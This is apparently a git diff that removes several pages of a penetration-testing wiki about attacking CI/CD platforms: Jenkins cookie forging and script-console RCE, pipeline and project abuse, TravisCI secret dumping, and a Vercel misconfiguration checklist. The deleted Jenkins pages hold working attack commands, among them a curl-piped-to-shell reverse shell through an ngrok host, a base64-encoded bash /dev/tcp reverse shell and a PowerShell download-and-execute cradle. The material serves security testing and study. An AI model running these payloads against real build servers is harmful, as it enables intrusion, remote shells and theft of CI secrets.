-    tokenExpiryTime = currentServerTimeInMillis() + 3600000  // Adds one hour to current time
-    ```
-    {% endcode %}
-*   **Concatenate Data for Token:**
-
-    {% code overflow="wrap" %}
-    ```javascript
-    token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
-    ```
-    {% endcode %}
-
-**MAC Key Decryption**
-
-*   **Decrypt MAC Key File:**
-
-    ```javascript
-    key = toAes128Key(masterKey)  // Convert master key to AES128 key format
-    decrypted = AES.decrypt(macFile, key)  // Decrypt the .mac file
-    if not decrypted.hasSuffix("::::MAGIC::::")
-        return ERROR;
-    macKey = decrypted.withoutSuffix("::::MAGIC::::")
-    ```
-
-**Signature Computation**
-
-*   **Compute HMAC SHA256:**
-
-    ```javascript
-    mac = HmacSHA256(token, macKey)  // Compute HMAC using the token and MAC key
-    tokenSignature = bytesToHexString(mac)  // Convert the MAC to a hexadecimal string
-    ```
-
-**Cookie Encoding**
-
-*   **Generate Final Cookie:**
-
-    {% code overflow="wrap" %}
-    ```javascript
-    cookie = base64.encode(username + ":" + tokenExpiryTime + ":" + tokenSignature)  // Base64 encode the cookie data
-    ```
-    {% endcode %}
-
-#### Step 3: Code Execution
-
-**Session Authentication**
-
-* **Fetch CSRF and Session Tokens:**
-  * Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
-  * Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
-
-**Command Execution Request**
-
-*   **Send a POST Request with Groovy Script:**
-
-    ```bash
-    curl -X POST "$JENKINS_URL/scriptText" \
-    --cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
-    --header "Jenkins-Crumb: $CRUMB" \
-    --header "Content-Type: application/x-www-form-urlencoded" \
-    --data-urlencode "script=$SCRIPT"
-    ```
-
-    * Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
-
-The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
diff --git a/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
deleted file mode 100644
index 34044c311..000000000
--- a/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
+++ /dev/null
@@ -1,65 +0,0 @@
-# Jenkins RCE Creating/Modifying Pipeline
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Creating a new Pipeline
-
-In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
-
-![](<../../.gitbook/assets/image (235).png>)
-
-In the **Pipeline section** write the **reverse shell**:
-
-![](<../../.gitbook/assets/image (285).png>)
-
-```groovy
-pipeline {
-    agent any
-
-    stages {
-        stage('Hello') {
-            steps {
-                sh '''
-                    curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
-                '''
-            }
-        }
-    }
-}
-```
-
-Finally click on **Save**, and **Build Now** and the pipeline will be executed:
-
-![](<../../.gitbook/assets/image (228).png>)
-
-## Modifying a Pipeline
-
-If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
deleted file mode 100644
index b11c7dcb3..000000000
--- a/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
+++ /dev/null
@@ -1,62 +0,0 @@
-# Jenkins RCE Creating/Modifying Project
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Creating a Project
-
-This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
-
-1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
-2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
-3. Click **Build now**
-   1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
-   2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
-
-![](<../../.gitbook/assets/image (165).png>)
-
-## Modifying a Project
-
-Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
-
-![](<../../.gitbook/assets/image (265).png>)
-
-If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
-
-Or **try to access to the path** `/job/<proj-name>/configure` or `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
-
-## Execution
-
-If you are allowed to configure the project you can **make it execute commands when a build is successful**:
-
-![](<../../.gitbook/assets/image (98).png>)
-
-Click on **Save** and **build** the project and your **command will be executed**.\
-If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
deleted file mode 100644
index 786f87325..000000000
--- a/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
+++ /dev/null
@@ -1,89 +0,0 @@
-# Jenkins RCE with Groovy Script
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Jenkins RCE with Groovy Script
-
-This is less noisy than creating a new project in Jenkins
-
-1. Go to _path\_jenkins/script_
-2. Inside the text box introduce the script
-
-```python
-def process = "PowerShell.exe <WHATEVER>".execute()
-println "Found text ${process.text}"
-```
-
-You could execute a command using: `cmd.exe /c dir`
-
-In **linux** you can do: **`"ls /".execute().text`**
-
-If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
-
-**Another useful groovy script** is (replace \[INSERT COMMAND]):
-
-```python
-def sout = new StringBuffer(), serr = new StringBuffer()
-def proc = '[INSERT COMMAND]'.execute()
-proc.consumeProcessOutput(sout, serr)
-proc.waitForOrKill(1000)
-println "out> $sout err> $serr"
-```
-
-### Reverse shell in linux
-
-```python
-def sout = new StringBuffer(), serr = new StringBuffer()
-def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
-proc.consumeProcessOutput(sout, serr)
-proc.waitForOrKill(1000)
-println "out> $sout err> $serr"
-```
-
-### Reverse shell in windows
-
-You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
-
-```python
-scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
-echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
-cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
-```
-
-### Script
-
-You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
-
-You can use MSF to get a reverse shell:
-
-```
-msf> use exploit/multi/http/jenkins_script_console
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-ci-cd/todo.md b/pentesting-ci-cd/todo.md
deleted file mode 100644
index 716bbecf1..000000000
--- a/pentesting-ci-cd/todo.md
+++ /dev/null
@@ -1,42 +0,0 @@
-# TODO
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
-
-* Drone
-* TeamCity
-* BuildKite
-* OctopusDeploy
-* Rancher
-* Mesosphere
-* Radicle
-* Any other CI/CD platform...
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-ci-cd/travisci-security/README.md b/pentesting-ci-cd/travisci-security/README.md
deleted file mode 100644
index 9d14e9703..000000000
--- a/pentesting-ci-cd/travisci-security/README.md
+++ /dev/null
@@ -1,92 +0,0 @@
-# TravisCI Security
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## What is TravisCI
-
-**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
-
-{% content-ref url="basic-travisci-information.md" %}
-[basic-travisci-information.md](basic-travisci-information.md)
-{% endcontent-ref %}
-
-## Attacks
-
-### Triggers
-
-To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
-
-![](<../../.gitbook/assets/image (145).png>)
-
-#### Cron Jobs
-
-If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
-
-![](<../../.gitbook/assets/image (243).png>)
-
-{% hint style="info" %}
-It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
-{% endhint %}
-
-### Third Party PR
-
-TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
-
-![](<../../.gitbook/assets/image (208).png>)
-
-### Dumping Secrets
-
-As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
-
-* To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
-* To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
-* To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
-
-![](<../../.gitbook/assets/image (81).png>)
-
-### TODO:
-
-* Example build with reverse shell running on Windows/Mac/Linux
-* Example build leaking the env base64 encoded in the logs
-
-### TravisCI Enterprise
-
-If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
-
-* escape to the host?
-* compromise kubernetes?
-* compromise other machines running in the same network?
-* compromise new cloud credentials?
-
-## References
-
-* [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
-* [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-ci-cd/vercel-security.md b/pentesting-ci-cd/vercel-security.md
deleted file mode 100644
index f46ad4fb1..000000000
--- a/pentesting-ci-cd/vercel-security.md
+++ /dev/null
@@ -1,463 +0,0 @@
-# Vercel
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
-
-For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
-
-## Project Settings
-
-### General
-
-**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
-
-#### Security Configurations:
-
-* **Transfer**
-  * **Misconfiguration:** Allows to transfer the project to another team
-  * **Risk:** An attacker could steal the project
-* **Delete Project**
-  * **Misconfiguration:** Allows to delete the project&#x20;
-  * **Risk:** Delete the prject
-
-***
-
-### Domains
-
-**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
-
-#### Security Configurations:
-
-* **DNS Configuration Errors**
-  * **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
-  * **Risk:** Domain hijacking, traffic interception, and phishing attacks.
-* **SSL/TLS Certificate Management**
-  * **Misconfiguration:** Using weak or expired SSL/TLS certificates.
-  * **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
-* **DNSSEC Implementation**
-  * **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
-  * **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
-* **Environment used per domain**
-  * **Misconfiguration:** Change the environment used by the domain in production.
-  * **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
-
-***
-
-### Environments
-
-**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
-
-#### Security Configurations:
-
-* **Environment Isolation**
-  * **Misconfiguration:** Sharing environment variables across environments.
-  * **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
-* **Access to Sensitive Environments**
-  * **Misconfiguration:** Allowing broad access to production environments.
-  * **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
-
-***
-
-### Environment Variables
-
-**Purpose:** Manage environment-specific variables and secrets used by the application.
-
-#### Security Configurations:
-
-* **Exposing Sensitive Variables**
-  * **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
-  * **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
-* **Sensitive disabled**
-  * **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
-  * **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
-* **Shared Environment Variables**
-  * **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
-  * **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
-
-***
-
-### Git
-
-**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
-
-#### Security Configurations:
-
-* **Ignored Build Step (TODO)**
-  * **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
-  * **Risk:** TBD
-
-***
-
-### Integrations
-
-**Purpose:** Connect third-party services and tools to enhance project functionalities.
-
-#### Security Configurations:
-
-* **Insecure Third-Party Integrations**
-  * **Misconfiguration:** Integrating with untrusted or insecure third-party services.
-  * **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
-* **Over-Permissioned Integrations**
-  * **Misconfiguration:** Granting excessive permissions to integrated services.
-  * **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
-* **Lack of Integration Monitoring**
-  * **Misconfiguration:** Failing to monitor and audit third-party integrations.
-  * **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
-
-***
-
-### Deployment Protection
-
-**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
-
-#### Security Configurations:
-
-**Vercel Authentication**
-
-* **Misconfiguration:** Disabling authentication or not enforcing team member checks.
-* **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
-
-**Protection Bypass for Automation**
-
-* **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
-* **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
-
-**Shareable Links**
-
-* **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
-* **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
-
-**OPTIONS Allowlist**
-
-* **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
-* **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
-
-**Password Protection**
-
-* **Misconfiguration:** Using weak passwords or sharing them insecurely.
-* **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
-* **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
-
-**Deployment Protection Exceptions**
-
-* **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
-* **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
-* **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
-
-**Trusted IPs**
-
-* **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
-* **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
-* **Note:** Available on the **Enterprise** plan.
-
-***
-
-### Functions
-
-**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
-
-#### Security Configurations:
-
-* **Nothing**
-
-***
-
-### Data Cache
-
-**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
-
-#### Security Configurations:
-
-* **Purge Cache**
-  * **Misconfiguration:** It allows to delete all the cache.
-  * **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
-
-***
-
-### Cron Jobs
-
-**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
-
-#### Security Configurations:
-
-* **Disable Cron Job**
-  * **Misconfiguration:** It allows to disable cron jobs declared inside the code
-  * **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
-
-***
-
-### Log Drains
-
-**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
-
-#### Security Configurations:
-
-* Nothing (managed from teams settings)
-
-***
-
-### Security
-
